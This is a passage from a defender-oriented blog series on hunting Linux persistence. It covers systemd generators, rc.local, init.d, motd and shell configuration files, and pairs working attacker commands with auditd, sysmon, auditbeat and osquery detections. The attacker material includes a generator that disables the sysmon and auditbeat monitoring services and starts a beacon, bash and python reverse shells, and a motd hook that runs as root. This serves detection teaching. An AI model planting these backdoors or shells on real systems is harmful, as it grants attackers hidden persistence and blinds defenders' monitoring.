The directories can be found in the man page but here are some persistent ones:

• /etc/systemd/system-generators/*
• /usr/local/lib/systemd/system-generators/*
• /lib/systemd/system-generators/*
• /etc/systemd/user-generators/*
• /usr/local/lib/systemd/user-generators/*
• /usr/lib/systemd/user-generators/*

One use case for this is backwards compatibility. For example, systemd-rc-local-generator and systemd-sysv-generator are both used to process rc.local and init.d scripts respectively. These executables convert the traditional startup scripts into systemd services by parsing them and creating wrapper service unit files on boot. It is a preprocessing step for systemd before it runs any services.

Other modules can also drop their own executable in one the listed locations and this will also be executed on boot or anytime the systemd configuration is reloaded. For example, installing openvpn results in a /usr/lib/systemd/system-generators/openvpn-generator

This is an interesting place to add a backdoor because systemd generators are executed very early in the boot process. In fact, this is the earliest place I’ve found to get an executable to run without going to the kernel or installing a rootkit. The generator executables are run before any service is started! So when defenders use loggers and sensors services such as syslog, auditd, sysmon or auditbeat to monitor a machine, they won’t be running to catch actions done by the generators. Moreover, a malicious generator might be able to tamper with the service unit files before they can run.

But there are constraints on this. The man page gives this note:

Generators are run very early at boot and cannot rely on any external services. They may not talk to any other process. That includes simple things such as logging to syslog(3), or systemd itself (this means: no systemctl(1))! Non-essential file systems like /var/ and /home/ are mounted after generators have run. Generators can however rely on the most basic kernel functionality to be available, as well as mounted /sys/, /proc/, /dev/, /usr/ and /run/ file systems.

12.2 Creating a malicious generator

Our objective:

• Create a malicious service that will run
• Disable sysmon.service and auditbeat.service

We assume that some script /opt/beacon.sh already exists. You can replace ExecStart with a different path or even add the reverse shell directly.

We drop a simple executable script in /lib/systemd/system-generators/systemd-network-generator . When it runs, it will:

• Create a /run/systemd/system/networking.service unit file
• Create a symlink to /run/systemd/system/multi-user.target.wants/networking.service to enable the service
• Create a sysmon.service and auditbeat.service that will overwrite the configuration of the original services.

cat > /usr/lib/systemd/system-generators/systemd-network-generator << EOF
#! /bin/bash

# Create networking.service and enabling it to run later in the boot process
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPW5ldHdvcmtpbmcuc2VydmljZQoKW1NlcnZpY2VdCkV4ZWNTdGFydD0vb3B0L2JlYWNvbi5zaAoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /run/systemd/system/networking.service

mkdir -p /run/systemd/system/multi-user.target.wants/
ln -s /run/systemd/system/networking.service /run/systemd/system/multi-user.target.wants/networking.service


# Create adds dummy service unit files to overwrite sysmon.service and auditbeat.service
mkdir -p /run/systemd/generator.early
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /run/systemd/generator.early/sysmon.service
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /run/systemd/generator.early/auditbeat.service
EOF

chmod +x /lib/systemd/system-generators/systemd-network-generator

You might wonder: “Why do we need to make a service unit file? Why don’t we run the /opt/beacon.sh in the background directly?”

Well, this is the recommended way that systemd generators operate. For example, network functionality might not be ready when the generators are executed. So it is simpler to generate service file instead and set network.target as a dependency. However, it is possible to create a long running background process on boot; it either waits or retries until the necessary OS functionality becomes available.

The generated service file is very simple. If you want more info about this read the previous blogpost - 5.2.2 Minimal service file

[Unit]
Description=networking.service

[Service]
ExecStart=/opt/beacon.sh

[Install]
WantedBy=multi-user.target

On the next reboot a networking.service service would be running

$ systemctl status networking
● networking.service
   Loaded: loaded (/run/systemd/system/networking.service; enabled; vendor preset: enabled)
   Active: active (running) since Wed 2022-02-02 06:42:47 UTC; 19s ago
 Main PID: 374 (beacon.sh)
    Tasks: 2 (limit: 4651)
   Memory: 15.7M
   CGroup: /system.slice/networking.service
           ├─374 /bin/bash /opt/beacon.sh
           └─377 bash -l

Of course you can modify the value of ExecStart or the contents of /opt/beacon.sh to whatever script you want.

Also because we have written new sysmon.service and auditbeat.service in /run/systemd/generator.early/ and this takes precedence over /etc/systemd/system and /lib/systemd/system (See order in systemd-analyze unit-paths). The sysmon and auditbeat did not run the correct daemons.

$ systemctl status auditbeat
● auditbeat.service - "Skipped"
   Loaded: loaded (/run/systemd/generator.early/auditbeat.service; generated)
   Active: inactive (dead) since Wed 2022-02-02 07:15:30 UTC; 15s ago
  Process: 377 ExecStart=/usr/bin/echo Skipped (code=exited, status=0/SUCCESS)
 Main PID: 377 (code=exited, status=0/SUCCESS)

Feb 02 07:15:30 host systemd[1]: Started "Skipped".
Feb 02 07:15:30 host echo[377]: Skipped
Feb 02 07:15:30 host systemd[1]: auditbeat.service: Succeeded.

$ systemctl status sysmon
● sysmon.service - "Skipped"
   Loaded: loaded (/run/systemd/generator.early/sysmon.service; generated)
   Active: inactive (dead) since Wed 2022-02-02 07:15:30 UTC; 26s ago
  Process: 380 ExecStart=/usr/bin/echo Skipped (code=exited, status=0/SUCCESS)
 Main PID: 380 (code=exited, status=0/SUCCESS)

Feb 02 07:15:30 host systemd[1]: Started "Skipped".
Feb 02 07:15:30 host echo[380]: Skipped
Feb 02 07:15:30 host systemd[1]: sysmon.service: Succeeded.

The dummy service files we added just echo "Skipped" instead running the sysmon and auditbeat daemon.

[Unit]
Description="Skipped"

[Service]
ExecStart=echo "Skipped"

[Install]
WantedBy=multi-user.target

12.3 Detecting the creation of systemd generators

It is hard to monitor the execution of the systemd generators because they run on boot even before sysmon or auditd is running. Therefore our main way to combat this is to look for the creation and modification of systemd generators.

12.3.1 auditd

This is not part of our reference Neo23x0/auditd](https://github.com/Neo23x0/auditd/blob/master/audit.rules), but we can monitor the creation or modification of rc.local using the following auditd rule.

-w /etc/systemd/system-generators/ -p wa -k systemd_generator
-w /usr/local/lib/systemd/system-generators/ -p wa -k systemd_generator
-w /lib/systemd/system-generators/ -p wa -k systemd_generator
-w /usr/lib/systemd/system-generators -p wa -k systemd_generator
-w /etc/systemd/user-generators/ -p wa -k systemd_generator
-w /usr/local/lib/systemd/user-generators/ -p wa -k systemd_generator
-w /usr/lib/systemd/user-generators/ -p wa -k systemd_generator

12.3.2 sysmon

Similarly, we don’t have a rule in microsoft/MSTIC-Sysmon for sysmon.

But we can create a rule to detect creation of files under the system or user systemd generators.

<FileCreate onmatch="include">
    <Rule name="TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts: systemd-generators" groupRelation="or">
        <TargetFilename condition="contains">/etc/systemd/system-generators/</TargetFilename>
        <TargetFilename condition="contains">/usr/local/lib/systemd/system-generators/</TargetFilename>
        <TargetFilename condition="contains">/lib/systemd/system-generators/</TargetFilename>
        <TargetFilename condition="contains">/usr/lib/systemd/system-generators/</TargetFilename>
        <TargetFilename condition="contains">/etc/systemd/user-generators/</TargetFilename>
        <TargetFilename condition="contains">/usr/local/lib/systemd/user-generators/</TargetFilename>
        <TargetFilename condition="contains">/usr/lib/systemd/user-generators/</TargetFilename>
    </Rule>
</FileCreate>

The command above will result in the following log

<Event>
    <System>
        <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
        <EventID>11</EventID>
        <Version>2</Version>
        <Level>4</Level>
        <Task>11</Task>
        <Opcode>0</Opcode>
        <Keywords>0x8000000000000000</Keywords>
        <TimeCreated SystemTime="2022-02-06T13:10:59.597085000Z"/>
        <EventRecordID>3056</EventRecordID>
        <Correlation/>
        <Execution ProcessID="5963" ThreadID="5963"/>
        <Channel>Linux-Sysmon/Operational</Channel>
        <Computer>persistence-blog</Computer>
        <Security UserId="0"/>
    </System>
    <EventData>
        <Data Name="RuleName">TechniqueID=T1037,TechniqueName=Boot or Logon Initializa</Data>
        <Data Name="UtcTime">2022-02-06 13:10:59.595</Data>
        <Data Name="ProcessGuid">{8491267f-c8e3-61ff-89a1-493c44560000}</Data>
        <Data Name="ProcessId">6897</Data>
        <Data Name="Image">/usr/bin/bash</Data>
        <Data Name="TargetFilename">+/usr/lib/systemd/system-generators/systemd-network-generator</Data>
        <Data Name="CreationUtcTime">2022-02-06 13:10:59.595</Data>
        <Data Name="User">root</Data>
    </EventData>
</Event>

One thing I am not sure, is why the target filename has a + at the start.

<TargetFilename condition="begin with">/usr/lib/systemd/system-generators/</TargetFilename>

This makes rules such as those above fail, and why I ended up using condition="contains".

At first, I thought this was because in debian lib is a symlink to /usr/lib but I’ve tried it creating my own symlink and this behaviour was not replicated. I don’t know why this happens.

12.3.3 auditbeats

By default, auditbeat will be able to monitor any of the directories above. You should try to include each one.

- module: file_integrity
  paths:
    ...
    - /etc/systemd/system-generators/
    - /usr/local/lib/systemd/system-generators/
    - /lib/systemd/system-generators/
    - /etc/systemd/user-generators/
    - /usr/local/lib/systemd/user-generators/
    - /usr/lib/systemd/user-generators/
  # recursive: true

Note that some of them might not exist by default like /etc/systemd/user-generators/, /local/lib/systemd/system-generators/, or /usr/local/lib/systemd/user-generators/.

12.3.4 osquery

SELECT path, filename, size, atime, mtime, ctime, md5
FROM file 
JOIN hash
USING(path)
WHERE file.directory IN (
    '/etc/systemd/system-generators/',
    '/usr/local/lib/systemd/system-generators/',
    '/lib/systemd/system-generators/',
    '/etc/systemd/user-generators/',
    '/usr/local/lib/systemd/user-generators/',
    '/usr/lib/systemd/user-generators/'
)
ORDER BY mtime DESC;

What’s next

In the next blog post, I’ll try to wrap it up with some miscellaneous persistence techniques.

Photo by Vitaly Vlasov from Pexels

In this blogpost, we’ll be discussing some scripts that attackers can install or modify that will execute on boot or logon. This is special files outside systemd services and timers.

The topics discussed here are the following:

• Boot or Logon Initialization Scripts: RC Scripts
• Boot or Logon Initialization Scripts: init.d
• Boot or Logon Initialization Scripts: motd
• Event Triggered Execution: Unix Shell Configuration Modification

We will give some example commands on how to implement these persistence techinques and how to create alerts using open-source solutions such as auditd, sysmon and auditbeats.

Links to the full version [image] [pdf]

If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the appendix in part 1.

Linux Persistence Series:

• Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells
  • 1 - Server Software Component: Web Shell
• Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation
  • 2 - Create Account: Local Account
  • 3 - Valid Accounts: Local Accounts
  • 4 - Account Manipulation: SSH Authorized Keys
• Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron
  • 5 - Create or Modify System Process: Systemd Service
  • 6 - Scheduled Task/Job: Systemd Timers
  • 7 - Scheduled Task/Job: Cron
• Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration
  • 8 - Boot or Logon Initialization Scripts: RC Scripts
  • 9 - Boot or Logon Initialization Scripts: init.d
  • 10 - Boot or Logon Initialization Scripts: motd
  • 11 - Event Triggered Execution: Unix Shell Configuration Modification
• Hunting for Persistence in Linux (Part 5): Systemd Generators
  • 12 - Boot or Logon Initialization Scripts: systemd-generators
• (WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
  • Modify Authentication Process: Pluggable Authentication Modules
  • Compromise Client Software Binary
  • Boot or Logon Autostart Execution: Kernel Modules and Extensions
  • Hijack Execution Flow: Dynamic Linker Hijacking

8 Boot or Logon Initialization Scripts: RC Scripts

MITRE: https://attack.mitre.org/techniques/T1037/004/

8.1 Isn’t rc.local deprecated?

You might have noticed that newer version of linux distributions no longer have /etc/rc.local. This is because they have migrated to using systemd for init scripts.

However, there exists compatibility exes in systemd called systemd-generator. For example we have the systemd-rc-local-generator. The exectuable for this can be found in /usr/lib/systemd/system-generators/systemd-rc-local-generator (source code)

systemd-rc-local-generator is a generator that checks whether /etc/rc.local exists and is executable, and if it is, pulls the rc-local.service unit into the boot process.

As long as systemd-rc-local-generator is included in the current version of systemd, then /etc/rc.local will run on boot.

8.2 Creating rc.local

This is pretty straightforward, just create an executable script

cat > /etc/rc.local << EOF
#! /bin/bash
echo "Success! \$(date)" >> /tmp/rc.local.out
bash -i >& /dev/tcp/127.0.0.1/7777 0>&1
EOF

chmod +x /etc/rc.local

On the next boot, the generator will create a symlink of rc-local.service in a multi-user.target.wants to enable and so that /etc/rc.local will execute.

You can see the location of the unit file by running systemctl status rc-local and the unit file is lib/systemd/system/rc-local.service

[Unit]
Description=/etc/rc.local Compatibility
Documentation=man:systemd-rc-local-generator(8)
ConditionFileIsExecutable=/etc/rc.local
After=network.target

[Service]
Type=forking
ExecStart=/etc/rc.local start
TimeoutSec=0
RemainAfterExit=yes
GuessMainPID=no

The symlink can be found in the transient directory /run/systemd/generator/multi-user.target.wants/rc-local.service

8.3 Signs of rc-local execution

The existence of lib/systemd/system/rc-local.service is not evidence that /etc/rc.local was run. The unit file may exist on fresh installs of linux depending on the distribution (Debian 10 and Ubuntu 20).

Aside from the existence of /etc/rc.local, because it is a systemd service, there will be systemd logs in syslog

$ cat /var/log/syslog | egrep "rc-local.service|/etc/rc.local Compatibility"
...
Feb  1 13:27:10 persistence-vm systemd[1]: Starting /etc/rc.local Compatibility...
Feb  1 13:27:10 persistence-vm systemd[1]: Started /etc/rc.local Compatibility.
Feb  1 13:30:27 persistence-vm systemd[1]: rc-local.service: Succeeded.
Feb  1 13:30:27 persistence-vm systemd[1]: Stopped /etc/rc.local Compatibility.

If the VM is still running, you can look for /run/systemd/generator/multi-user.target.wants/rc-local.service . This will only exist if the systemd-rc-local-generator found /etc/rc.local to an executable during boot or the last time the unit files were reloaded.

You can also check the status of the rc-local.service and see if it is not incative.

$ # systemctl status rc-local
● rc-local.service - /etc/rc.local Compatibility
   Loaded: loaded (/lib/systemd/system/rc-local.service; enabled-runtime; vendor preset: enabled)
  Drop-In: /usr/lib/systemd/system/rc-local.service.d
           └─debian.conf
   Active: active (exited) since Tue 2022-02-01 13:37:53 UTC; 5min ago
     Docs: man:systemd-rc-local-generator(8)

Here is an example when it did not run.

$ systemctl status rc.local
● rc-local.service - /etc/rc.local Compatibility
   Loaded: loaded (/lib/systemd/system/rc-local.service; static; vendor preset: enabled)
  Drop-In: /usr/lib/systemd/system/rc-local.service.d
           └─debian.conf
   Active: inactive (dead)

8.3 Detecting /etc/rc.local creation

8.3.1 auditd

This is not part of our reference Neo23x0/auditd](https://github.com/Neo23x0/auditd/blob/master/audit.rules), but we can monitor the creation or modification of rc.local using the following auditd rule.

-w /etc/rc.local -p wa -k rclocal    

The commands above will result in the following logs.

SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55a7a1adc6e0 a2=241 a3=1b6 items=2 ppid=759 pid=819 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4 comm="bash" exe="/usr/bin/bash" subj==unconfined key="rclocal"
PATH item=0 name="/etc/" inode=18 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 name="/etc/rc.local" inode=4840 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"

8.3.2 sysmon

<FileCreate onmatch="include">
    <Rule name="TechniqueID=T1037.004,TechniqueName=Boot or Logon Initialization Scripts: RC Scripts" groupRelation="or">
        <TargetFilename condition="is">/etc/rc.local</TargetFilename>
    </Rule>
</FileCreate>

This results in the following log:

<?xml version="1.0"?>
<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>11</EventID>
    <Version>2</Version>
    <Level>4</Level>
    <Task>11</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8000000000000000</Keywords>
    <TimeCreated SystemTime="2022-02-01T16:32:28.791576000Z"/>
    <EventRecordID>25</EventRecordID>
    <Correlation/>
    <Execution ProcessID="4617" ThreadID="4617"/>
    <Channel>Linux-Sysmon/Operational</Channel>
    <Computer>persistence-vm</Computer>
    <Security UserId="0"/>
  </System>
  <EventData>
    <Data Name="RuleName">TechniqueID=T1037.004,TechniqueName=Boot or Logon Initia</Data>
    <Data Name="UtcTime">2022-02-01 16:32:28.794</Data>
    <Data Name="ProcessGuid">{e779f71b-609c-61f9-8d97-7cde7d550000}</Data>
    <Data Name="ProcessId">4681</Data>
    <Data Name="Image">/usr/bin/bash</Data>
    <Data Name="TargetFilename">/etc/rc.local</Data>
    <Data Name="CreationUtcTime">2022-02-01 16:32:28.794</Data>
    <Data Name="User">root</Data>
  </EventData>
</Event>

See an example in 5.5.2 Caveats for detecting using sysmon rules from the previous blog post.

You can try to monitor process creation with /etc/rc.local however, this may not work because the sysmon.service is not yet running yet before the rc-local.service starts.

<ProcessCreate>
    <Rule name="TechniqueID=T1037.004,TechniqueName=Boot or Logon Initialization Scripts: RC Scripts" groupRelation="or">
        <CommandLine condition="contains">/etc/rc.local</CommandLine>
    </Rule>
</ProcessCreate>

8.3.3 auditbeat

The default configuration of auditbeat will catch the creation of /etc/rc.local by the file integrity monitoring module.

8.4 Using osquery to look for rc.local

You can if the rc-local.service is not inactive using one of the following queries.

SELECT id, description,load_state, active_state, sub_state, fragment_path  
FROM systemd_units 
WHERE id = "rc-local.service" AND active_state!="inactive";

SELECT * 
FROM startup_items 
WHERE 
    name = "rc-local.service"
    AND status != "inactive";

If you are using rc.local then we can compare the hash instead

SELECT path, md5 FROM hash WHERE path="/etc/rc.local";

9 Boot or Logon Initialization Scripts: init.d

MITRE: https://attack.mitre.org/techniques/T1037/

9.1 How does init.d and systemd work?

The /etc/init.d/ comes from the sysvinit which was the traditional init used by linux distros such as ubuntu and debian. However, with the migration to systemd, scripts that normally need to be implemented in /etc/init.d/ can now be implemented with systemd services and the /etc/init.d/ is kept there for compatibility.

So are /etc/init.d/ still run? It depends. The systemd-sysv-generator (source) creates wrapper *.service units at boot which will be used to run the init scripts if no *.service exists.

9.2 Installing malicious init.d script

First create a executable script int /etc/init.d. Let’s say that we want to make /etc/init.d/bad-init-d where /opt/backdoor.sh is our malicious script.

One example of malicious script can be

cat > /opt/backdoor.sh << EOF
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' & disown
EOF
chmod +x /opt/backdoor.sh

cat > /etc/init.d/bad-init-d << EOF
#!/bin/sh
### BEGIN INIT INFO
# Provides:          bad-init-d
# Required-Start:    $local_fs $network $syslog
# Required-Stop:     $local_fs $network $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
### END INIT INFO

do_start()
{
    start-stop-daemon --start \
        --pidfile /var/run/init-daemon.pid  \
        --exec /opt/backdoor.sh \
        || return 2
}


case "$1" in
  start)
        do_start
    ;;
esac
EOF

chmod +x /etc/init.d/bad-init-d    
update-rc.d bad-init-d defaults

The contents of BEGIN INIT INFO comment is necessary and is parsed by systemd-sysv-generator to create the wrapper service files.

The update-rc. command creates symlinks on necessary /etc/rc*/ based on the LSB header defined in BEGIN INIT INFO. This is equivalent to enable in systemd. This is enough for the script to run on boot.

9.3 Detecting creation of /etc/init.d/scripts

The primary way we can detect this is by monitoring the modification of /etc/init.d/* directory. We can try to monitor process creation that use these scripts but these boot init scripts will run before the sysmon, auditd, and auditbeat services has started.

9.3.1 auditd

This rule is present in our reference Neo23x0/auditd.

-w /etc/init.d/ -p wa -k init

This wil results in the following log

SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55862848dda0 a2=241 a3=1b6 items=2 ppid=692 pid=2917 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=5 comm="bash" exe="/usr/bin/bash" subj==unconfined key="init"
PATH item=0 name="/etc/init.d/" inode=120 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 name="/etc/init.d/bad-init-d" inode=4842 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"

9.3.2 sysmon

We can see that this is implemented in T1037_BootLogonInitScripts_CommonDirectories.xml

<FileCreate onmatch="include">
    <Rule name="TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts" groupRelation="or">
        <TargetFilename condition="begin with">/etc/init/</TargetFilename>
        <TargetFilename condition="begin with">/etc/init.d/</TargetFilename>
        <TargetFilename condition="begin with">/etc/rc.d/</TargetFilename>
    </Rule>
</FileCreate>

This will result in the following log

<?xml version="1.0"?>
<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>11</EventID>
    <Version>2</Version>
    <Level>4</Level>
    <Task>11</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8000000000000000</Keywords>
    <TimeCreated SystemTime="2022-02-02T03:31:07.762467000Z"/>
    <EventRecordID>6</EventRecordID>
    <Correlation/>
    <Execution ProcessID="2887" ThreadID="2887"/>
    <Channel>Linux-Sysmon/Operational</Channel>
    <Computer>persistence-blog</Computer>
    <Security UserId="0"/>
  </System>
  <EventData>
    <Data Name="RuleName">TechniqueID=T1037,TechniqueName=Boot or </Data>
    <Data Name="UtcTime">2022-02-02 03:31:07.765</Data>
    <Data Name="ProcessGuid">{8491267f-fafb-61f9-8da7-192786550000}</Data>
    <Data Name="ProcessId">2917</Data>
    <Data Name="Image">/usr/bin/bash</Data>
    <Data Name="TargetFilename">/etc/init.d/bad-init-d</Data>
    <Data Name="CreationUtcTime">2022-02-02 03:31:07.765</Data>
    <Data Name="User">root</Data>
  </EventData>
</Event>

9.3.3 auditbeat

Similar to the discussion we had in the the previous blogpost regarding systemd services, the default configuration of auditbeat will monitor /etc/init.d in it’s file integrity monitoring module.

Either set recursive: true or add /etc/init.d

- module: file_integrity
  paths:
  - /bin
  - /usr/bin
  - /sbin
  - /usr/sbin
  - /etc
  - /etc/init.d
  # recursive: true

Once this is setup, we should see logs like this:

9.3.4 sysmon

Assuming the attacker forgot to tamper with timestamps, we can look for the most recently newly modified files /etc/init.d

SELECT path, filename, md5, size, atime, mtime, ctime 
FROM file 
JOIN hash 
USING(path) 
WHERE path LIKE "/etc/init.d/%" 
ORDER BY mtime DESC;

9.4 Looking for evidence of /etc/init.d/ execution

Similar to the rc.local, simple evidences of the execution of /etc/init.d scripts are:

• to see if there are evidence of the generated *.service files
• check logs whether these services executed

9.4.1 init scripts with description

If the LSB header of the script has a description, this will be added to the service file and a prefix of LSB: is included

#!/bin/sh
### BEGIN INIT INFO
# Provides:          bad-init-d
# Required-Start:    $local_fs $network $syslog
# Required-Stop:     $local_fs $network $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Description: Bad
### END INIT INFO

This will results to logs in syslog containing this description and “LSB”

$ cat /var/log/syslog | grep LSB
...
Feb  2 03:08:05 host systemd[1]: Starting LSB: Bad...
Feb  2 03:08:05 host systemd[1]: Started LSB: Bad.
Feb  2 03:16:47 host systemd[1]: Stopping LSB: Bad...

But this description is not required.

9.4.2 Looking at generated service files

The generated files will exist in the /var/run/systemd/generator.late/ look for .service files there and you can the status of the services.

$ ls /var/run/systemd/generator.late/
bad-init-d.service  graphical.target.wants  multi-user.target.wants
$ /home/user# systemctl status bad-init-d
● bad-init-d.service
   Loaded: loaded (/etc/init.d/bad-init-d; generated)
   Active: active (exited) since Wed 2022-02-02 03:58:30 UTC; 4min 28s ago
     Docs: man:systemd-sysv-generator(8)
    Tasks: 0 (limit: 4651)
   Memory: 0B
   CGroup: /system.slice/bad-init-d.service

Feb 02 03:58:30 host systemd[1]: Starting bad-init-d.service...
Feb 02 03:58:30 host systemd[1]: Started bad-init-d.service.

Similarly, you can list all services tagged generated by systemd and start your hunting there.

$ systemctl list-unit-files | grep generated
-.mount                                generated      
boot-efi.mount                         generated      
bad-init-d.service                     generated      
systemd-growfs@-.service               generated   

9.4.3 Using osquery

This looks for any service files that were generated from /etc/init.d

SELECT id, description, load_state, active_state, sub_state,  source_path 
FROM systemd_units 
WHERE source_path LIKE "/etc/init.d%";

10 Boot or Logon Initialization Scripts: motd

MITRE: https://attack.mitre.org/techniques/T1037/

This particular subtechnique is not part of the MITRE ATT&CK matrix. This is something I first encountered while solving PersistenceIsFutile in hackthebox and I felt this was interesting enough to discuss here.

10.1 What is motd?

The motd or the “message of the day” is the text a user experience when logging in a linux box over ssh or a local console.

$ ssh user@1.2.3.4
Linux persistence-blog 4.19.0-18-cloud-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

...

The docs for this can be found in debian’s motd page.

For debian and ubuntu, part of this message can be generated dynamically from scripts in /etc/update-motd.d. This can be either triggered by sshd and pam_motd.

In sshd, there is a config in /etc/ssh/sshd_config , PrintMotd and this is set to no by default because we let pam_motd handle motd.

In pam_motd, this is either in /etc/pam.d/login or /etc/pam.d/sshd in the following configs

# This runs the /etc/update-motd.d/*
session    optional     pam_motd.so  motd=/run/motd.dynamic

# This prints out the static motd 
session    optional     pam_motd.so noupdate

What is interesting is that these scripts run as root regardless of which user is used to log in and it occurs each time someone connects over ssh.

To get some idea some of the usual uses of this, we can look at scripts that come with ubuntu

• 00-header
• 91-release-upgrade
• 90-updates-available
• 98-reboot-required

10.2 Creating malicious scripts in motd

This is pretty straightforward. We can modify an existing script or add our own in /etc/update-motd.d.

For example, if 90-updates-available exists we can add

echo '/bin/bash -l > /dev/tcp/127.0.0.1/1337 0<&1 2>&1 &' >>  /etc/update-motd.d/90-updates-available

Similarly, if doesn’t exist, we can drop our own script.

cat > /usr/lib/update-notifier/update-motd-updates-available  << EOF
#! /bin/bash
/bin/bash -l > /dev/tcp/127.0.0.1/1337 0<&1 2>&1 &
EOF
chmod +x /usr/lib/update-notifier/update-motd-updates-available

cat > /etc/update-motd.d/90-updates-available << EOF
#!/bin/sh
if [ -x /usr/lib/update-notifier/update-motd-updates-available ]; then
    exec /usr/lib/update-notifier/update-motd-updates-available
fi
EOF
chmod +x /etc/update-motd.d/90-updates-available 

10.3 Detecting changes in /etc/update-motd.d

We won’t go dwell on this too much since this is very similar to the /etc/init.d

10.3.1 auditd

This is not present in our reference Neo23x0/auditd.

-w /etc/update-motd.d/ -p wa -k motd

10.3.2 sysmon

This is not implemented in microsoft/MSTIC-Sysmon

<FileCreate onmatch="include">
    <Rule name="TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts: motd" groupRelation="or">
        <TargetFilename condition="begin with">/etc/update-motd.d/</TargetFilename>
    </Rule>
</FileCreate>

10.3.3 osquery

SELECT path, filename, md5, size, atime, mtime, ctime 
FROM file JOIN hash USING(path) 
WHERE path LIKE "/etc/update-motd.d/%" 
ORDER BY mtime DESC

10.3.4 auditbeat

Similar to init.d, the update-motd.d is not monitored by default by auditbeats. Either set recursive: true or add /etc/update-motd.d

- module: file_integrity
  paths:
    ...
  - /etc/update-motd.d
  # recursive: true

10.4 Looking for suspicious processes

Let’s take time to discuss some notes when looking at running processes.

For example, if we have a reverse shell in one of the services such as rc.local or any other service, we can get one of two outcomes

After running ps -auxwf you can see the processes and their parent-child relationship.

One outcome is

Where bash -i has parent PID of /bin/bash /etc/rc.local start

Or you can also get just the case where the parent PID is 1 which is simply

A process can have a parent ID of 1 when the parent process ends without waiting for the child to finish. For example, if you run a python script in the background you might get something like

But if the bash terminal of the user ends while python3 malicious.py runs in the background, then the next you check the process it python3 malicious.py will have a parent PID of 1. You can list the process

Where we see the PPID is 689 when previously it was 686, that is because the shell that created the background process has ended.

Since scripts in update-motd.d have to end for the SSH shell to start, then any long running processes that from running a malicious script in /etc/update-motd.d would have a parent PID of 1. Similarly, as you can see, shell processes resulting from sshd will not have a PPID of 1.

Some when hunting, you can start looking for bash, sh and python processes that you have PID 1 or those you cannot trace back to the sshd.

Again, in the terminal you can search for this in

ps -auxwf
ps -efj | egrep "python|bash|\bsh\b|PPID"

Using osquery you can look for it in

SELECT pid, name, cmdline, parent
FROM processes
WHERE 
    parent = 1 
    AND regex_match(cmdline, "python|bash|\bsh\b", 0) IS NOT NULL;

11 Event Triggered Execution: Unix Shell Configuration Modification

MITRE: https://attack.mitre.org/techniques/T1546/004/

11.1 Unix Shell Configurations

Unix Shells have several configuration scripts that are execute when a shell starts or ends.

The relevant files are listed in “FILES” section in the bash man page

Some common uses of these configurations are:

• Setting up the PATH variable
• Assigning aliases for commands Example: ll='ls -alF'
• Setting up shell’s UX
• Setting up base functions

Note: The documentation and man page say that it is /etc/bash.bash.logout but my testing show that it is actually /etc/bash.bash_logout. See thread

11.2 Modifying shell configuration

This is pretty straightforward, you can just add addition bash commands in one of the files listed above. However, there are some things you should watch out for. Prioritize adding to ~/.bashrc, ~/.profile, /etc/profile, or /etc/bash.bashrc

To debug, let’s run the following and see what is triggered

# As user 
echo "echo '~/.bash_logout' >> /tmp/triggered" >> ~/.bash_logout
echo "echo '~/.bashrc' >> /tmp/triggered" >> ~/.bashrc 
echo "echo '~/.bash_profile' >> /tmp/triggered" >> ~/.bash_profile
echo "echo '~/.bash_login' >> /tmp/triggered" >> ~/.bash_login
